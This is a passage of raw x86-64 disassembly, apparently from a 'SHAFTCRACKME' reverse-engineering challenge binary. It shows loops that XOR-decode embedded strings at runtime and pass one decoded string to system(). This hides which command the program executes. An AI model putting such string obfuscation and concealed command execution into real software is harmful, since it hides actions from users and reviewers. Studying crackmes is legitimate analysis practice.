punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140003b42
cmp r8d, 0x13
jge 0x140003c90
movsxd rax, r8d
lea r9, [rbp + 0x2f8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x140003c60
lea rcx, [rbp + 0x2f8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [0x1400902c0]
mov dword [rbp + 0x170], eax
movzx eax, byte [0x1400902c4]
movsd xmm0, qword [str.ausbtjxypqx_]
mov byte [rbp + 0x174], al
movsd qword [rbp + 0x168], xmm0
mov r8d, ebx
cmp r12d, 2
jl 0x140003de1
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movd xmm5, r14d
movdqa xmm2, xmmword [0x1400902e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140090300]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
mov eax, dword [str.2222222222222222O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.ausbtjxypqx_]
xorps xmm2, xmm0
movd dword [rbp + 0x168], xmm2
movdqa xmm3, xmmword [0x1400902f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140090300]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x16c]
xorps xmm2, xmm1
movd dword [rbp + 0x16c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x168]
add r9, rax
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140003df0
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x7a0]
call fcn.1400185b0
nop
lea rax, [rbp + 0x168]
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x140003e43
lea rdx, [rbp + 0x168]
lea rcx, [rbp + 0x7a0]
call fcn.1400185d0
nop
lea rcx, [rbp + 0x7a0]
call fcn.140017900
mov rsi, rax
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x23d8]
call fcn.1400185b0
nop
mov r8, rdi
inc r8
cmp byte [rsi + r8], 0
jne 0x140003e85
mov rdx, rsi
lea rcx, [rbp + 0x23d8]
call fcn.1400185d0
nop
lea rcx, [rbp + 0x7a0]
call fcn.140017910
movsd xmm0, qword [0x1400900a8]
movsd qword [rbp + 0xe8], xmm0
movzx ecx, word [0x1400900b0]
mov word [rbp + 0xf0], cx
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0xe8], Ordinal_79
xor byte [rbp + 0xe9], 0x33
xor byte [rbp + 0xea], 0x34
xor byte [rbp + 0xeb], 0x35
xor byte [rbp + 0xec], 0x36
xor byte [rbp + 0xed], 0x37
xor byte [rbp + 0xee], 0x38
xor byte [rbp + 0xef], 0x39
xor cl, 0x3a
mov byte [rbp + 0xf0], cl
xor byte [rbp + 0xf1], 0x3b
xor al, 0x3c
mov byte [rbp + 0xf2], al
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x7e0]
call fcn.1400185b0
nop
lea rax, [rbp + 0xe8]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140003f40
lea rdx, [rbp + 0xe8]
lea rcx, [rbp + 0x7e0]
call fcn.1400185d0
nop
lea rcx, [rbp + 0x7e0]
call fcn.140017900
mov rsi, rax
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x23f8]
call fcn.1400185b0
nop
mov r8, rdi
inc r8
cmp byte [rsi + r8], 0
jne 0x140003f82
mov rdx, rsi
lea rcx, [rbp + 0x23f8]
call fcn.1400185d0
nop
lea rcx, [rbp + 0x7e0]
call fcn.140017910
movups xmm0, xmmword [0x14008fdc0]
movups xmmword [rbp + 0xe30], xmm0
movups xmm1, xmmword [0x14008fdd0]
movups xmmword [rbp + 0xe40], xmm1
movups xmm0, xmmword [0x14008fde0]
movups xmmword [rbp + 0xe50], xmm0
movups xmm1, xmmword [0x14008fdf0]
movups xmmword [rbp + 0xe60], xmm1
movzx eax, byte [0x14008fe00]
mov byte [rbp + 0xe70], al
mov r8d, ebx
cmp r12d, 2
jl 0x140004143
movdqa xmm5, xmmword [0x1400902e0]
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, r14d
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp + 0xe34]
mov edx, dword [rbp - 0x40]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x140004040
cmp r8d, 0x41
jge 0x140004180
movsxd rax, r8d
lea r9, [rbp + 0xe30]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x41
jl 0x140004150
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x820]
call fcn.1400185b0
nop
lea rax, [rbp + 0xe30]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400041a0
lea rdx, [rbp + 0xe30]
lea rcx, [rbp + 0x820]
call fcn.1400185d0
nop
lea rcx, [rbp + 0x820]
call fcn.140017900
mov rsi, rax
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x42f8]
call fcn.1400185b0
nop
mov r8, rdi
inc r8
cmp byte [rsi + r8], 0
jne 0x1400041e2
mov rdx, rsi
lea rcx, [rbp + 0x42f8]
call fcn.1400185d0
nop
lea rcx, [rbp + 0x820]
call fcn.140017910
mov eax, dword [0x14008fd88]
mov dword [rbp - 0x24], eax
cmp byte [0x14008fd8b], 0
je 0x1400042f0
cmp r12d, 2
jl 0x1400042ad
movdqa xmm3, xmmword [0x1400902e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140090330]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140090330]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, r14d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140090300]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp - 0x24], xmm2
jmp 0x1400042f0
lea r9, [rbp - 0x24]
mov r8d, ebx
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400042c0
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x860]
call fcn.1400185b0
nop
lea rax, [rbp - 0x24]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140004310
lea rdx, [rbp - 0x24]
lea rcx, [rbp + 0x860]
call fcn.1400185d0
nop
lea rcx, [rbp + 0x860]
call fcn.140017900
mov rsi, rax
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x4318]
call fcn.1400185b0
nop
mov r8, rdi
nop
inc r8
cmp byte [rsi + r8], 0
jne 0x140004350
mov rdx, rsi
lea rcx, [rbp + 0x4318]
call fcn.1400185d0
nop
lea rcx, [rbp + 0x860]
call fcn.140017910
movups xmm0, xmmword [str.ZG_EE_r]
movups xmmword [rbp + 0x620], xmm0
movsd xmm0, qword [0x14008fd08]
movsd qword [rbp + 0x630], xmm0
mov eax, dword [0x14008fd10]
mov dword [rbp + 0x638], eax
movzx eax, byte [0x14008fd14]
mov byte [rbp + 0x63c], al
mov r8d, ebx
cmp r12d, 2
jl 0x140004503
movdqa xmm5, xmmword [0x1400902e0]
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, r14d
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp + 0x624]
mov edx, dword [rbp - 0x40]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140004400
cmp r8d, 0x1d
jge 0x140004540
movsxd rax, r8d
lea r9, [rbp + 0x620]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x140004510
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x8a0]
call fcn.1400185b0
nop
lea rax, [rbp + 0x620]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140004560
lea rdx, [rbp + 0x620]
lea rcx, [rbp + 0x8a0]
call fcn.1400185d0
nop
lea rcx, [rbp + 0x8a0]
call fcn.140017900
mov rsi, rax
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x4338]
call fcn.1400185b0
nop
nop
inc rdi
cmp byte [rsi + rdi], 0
jne 0x1400045a0
mov r8, rdi
mov rdx, rsi
lea rcx, [rbp + 0x4338]
call fcn.1400185d0
nop
lea rcx, [rbp + 0x8a0]
call fcn.140017910
xor edx, edx
mov r8d, 0x280
lea rcx, [rbp + 0x4cd0]
call sub.VCRUNTIME140.dll_memset
lea rax, [rbp + 0x7c0]
mov qword [rbp - 0x20], rax
lea rax, [rbp + 0x800]
mov qword [rbp + 0x80], rax
lea rax, [rbp + 0x840]
mov qword [rbp + 0x88], rax
lea rax, [rbp + 0x880]
mov qword [rbp + 0x90], rax
lea rdx, [rbp + 0x4338]
lea rcx, [rbp + 0x7c0]
call fcn.140017a90
mov r15, rax
lea rdx, [rbp + 0x4318]
lea rcx, [rbp + 0x800]
call fcn.140017a90
mov r14, rax
lea rdx, [rbp + 0x42f8]
lea rcx, [rbp + 0x840]
call fcn.140017a90
mov rsi, rax
lea rdx, [rbp + 0x23f8]
lea rcx, [rbp + 0x880]
call fcn.140017a90
mov rdi, rax
lea rdx, [rbp + 0x23d8]
lea rcx, [rbp + 0x8c0]
call fcn.140017a90
nop
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r14
mov r9, rsi
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x4cd0]
call fcn.140001fd0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x4358]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x4358]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x4378]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x4378]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x4398]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x4398]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x43b8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x43b8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x43d8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x43d8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x43f8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x43f8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x4418]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x4418]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x4438]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x4438]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x4458]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x4458]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x4478]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x4478]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x4498]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x4498]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x44b8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x44b8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x44d8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x44d8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x44f8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x44f8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x4518]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x4518]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x4538]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x4538]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x4558]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x4558]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x4578]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x4578]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x4598]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x4598]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x45b8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x45b8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x45d8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x45d8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x45f8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x45f8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x4618]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x4618]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x4638]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x4638]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x4658]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x4658]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x4678]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x4678]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x4698]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x4698]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x46b8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x46b8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x46d8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x46d8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x46f8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x46f8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x4718]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x4718]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x4738]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x4738]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x4758]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x4758]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0xf58]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0xf58]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0xf78]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0xf78]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0xf98]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0xf98]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0xfb8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0xfb8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0xfd8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0xfd8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0xff8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0xff8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1018]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1018]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1038]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1038]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1058]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1058]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1078]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1078]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1098]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1098]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x10b8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x10b8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x10d8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x10d8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x10f8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x10f8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1118]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1118]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1138]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1138]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1158]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1158]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1178]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1178]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1198]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1198]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x11b8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x11b8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x11d8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x11d8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x11f8]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x11f8]
call fcn.1400185d0
nop
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x1218]
call fcn.1400185b0
nop
mov r8d, recvfrom
lea rdx, str.SHAFTCRACKME
lea rcx, [rbp + 0x1218]
call fcn.1400185d0
